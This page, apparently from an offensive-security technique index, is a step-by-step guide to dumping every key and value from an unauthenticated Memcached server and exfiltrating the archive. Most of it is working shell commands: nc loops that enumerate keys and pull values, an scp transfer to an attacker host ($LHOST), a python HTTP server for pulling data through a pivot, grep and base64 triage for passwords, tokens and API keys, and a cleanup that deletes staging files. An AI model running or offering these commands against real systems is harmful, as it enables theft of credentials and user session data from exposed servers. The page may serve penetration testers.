# Memcached Bulk Cache Dump and Exfiltration

- **URL:** https://hackindex.io/services/memcached/data-exfiltration/memcached-bulk-cache-dump-and-exfiltration
- **Path:** Memcached > Data Exfiltration
- **Up:** [Data Exfiltration](https://hackindex.io/services/memcached/data-exfiltration.md)
- **Published:** 2026-03-17
- **Updated:** 2026-03-17

After confirming unauthenticated access and identifying high-value keys, the next step is capturing the full cache contents for offline analysis and evidence. This covers extracting all keys and values, staging the output, and transferring it off the target network.

## Estimate Cache Size Before Dumping

Check the total data volume before committing to a full dump:

```bash
echo -e "stats\r" | nc -q2 $TARGET_IP 11211 | grep -E 'curr_items|bytes'
# STAT curr_items 2841
# STAT bytes 18432910
```

`bytes` is the raw cache size in bytes. 18MB is fast to dump and transfer. Caches above a few hundred MB may warrant selective extraction rather than a full dump.

## Dump All Keys with lru_crawler metadump

`lru_crawler metadump` returns all keys across all slabs in a single command and is the fastest way to get a complete key list:

```bash
echo -e "lru_crawler metadump all\r" | nc -q2 $TARGET_IP 11211 > /tmp/memcached-keys-meta.txt
```

Check the key count:

```bash
wc -l /tmp/memcached-keys-meta.txt
```

Extract just the key names for the next step:

```bash
grep -oP '(?<=key=)\S+' /tmp/memcached-keys-meta.txt > /tmp/memcached-keynames.txt
```

If the target runs Memcached below 1.4.31, fall back to per-slab cachedump:

```bash
for slab in $(echo -e "stats slabs\r" | nc -q2 $TARGET_IP 11211 | grep -oP '^\d+(?=:chunk_size)' | sort -un); do echo -e "stats cachedump $slab 0\r" | nc -q2 $TARGET_IP 11211; done | grep ^ITEM | awk '{print $2}' > /tmp/memcached-keynames.txt
```

## Retrieve All Values

Pull the value for every key and write to a single output file:

```bash
while read key; do echo -e "get $key\r" | nc -q2 $TARGET_IP 11211; done < /tmp/memcached-keynames.txt > /tmp/memcached-values.txt
```

For large key counts this loop can be slow due to one TCP connection per key. Batch multiple keys per request to speed it up:

```bash
paste - - - - - - - - - - < /tmp/memcached-keynames.txt | while read batch; do echo -e "get $batch\r" | nc -q2 $TARGET_IP 11211; done >> /tmp/memcached-values.txt
```

This sends 10 keys per request. Adjust the number of `-` arguments to change batch size. Memcached accepts multiple keys in a single `get` command.

## Combine and Compress

Merge the key metadata and values into a single archive:

```bash
cat /tmp/memcached-keys-meta.txt /tmp/memcached-values.txt > /tmp/memcached-full-dump.txt
gzip /tmp/memcached-full-dump.txt
```

Check compressed size before transferring:

```bash
du -sh /tmp/memcached-full-dump.txt.gz
```

## Transfer Off the Target Network

If you are running commands from your own machine directly against the target, the files are already local. If you are operating through a pivot host, transfer the archive to your machine:

```bash
scp /tmp/memcached-full-dump.txt.gz $USER@$LHOST:/tmp/
```

If SCP is not available, serve the file over HTTP from the pivot:

```bash
python3 -m http.server 8080
```

Then retrieve it from your machine:

```bash
curl http://$TARGET_IP:8080/memcached-full-dump.txt.gz -o /tmp/memcached-full-dump.txt.gz
```

## Parse and Triage the Dump Offline

Once the dump is on your machine, search for high-value content. Priority targets:

- Passwords, API keys, and secrets in plaintext
- Serialized session objects with role or token data
- Database connection strings
- Base64-encoded payloads that may contain credentials

```bash
zcat /tmp/memcached-full-dump.txt.gz | grep -iE 'password|passwd|secret|token|apikey|api_key|auth|credential'
```

Extract all JSON values for structured review:

```bash
zcat /tmp/memcached-full-dump.txt.gz | grep -oE '\{[^}]+\}' | python3 -m json.tool 2>/dev/null
```

Decode any base64 payloads found in values:

```bash
zcat /tmp/memcached-full-dump.txt.gz | grep -oE '[A-Za-z0-9+/]{40,}={0,2}' | while read b64; do echo "$b64" | base64 -d 2>/dev/null | strings | grep -v '^$' && echo "---"; done
```

## Clean Up

Remove staging files after transfer:

```bash
rm -f /tmp/memcached-keys-meta.txt /tmp/memcached-keynames.txt /tmp/memcached-values.txt /tmp/memcached-full-dump.txt.gz
```

## References

- [Memcached: Protocol Commands](https://github.com/memcached/memcached/wiki/Commands) - Full text protocol reference including lru_crawler metadump and batch get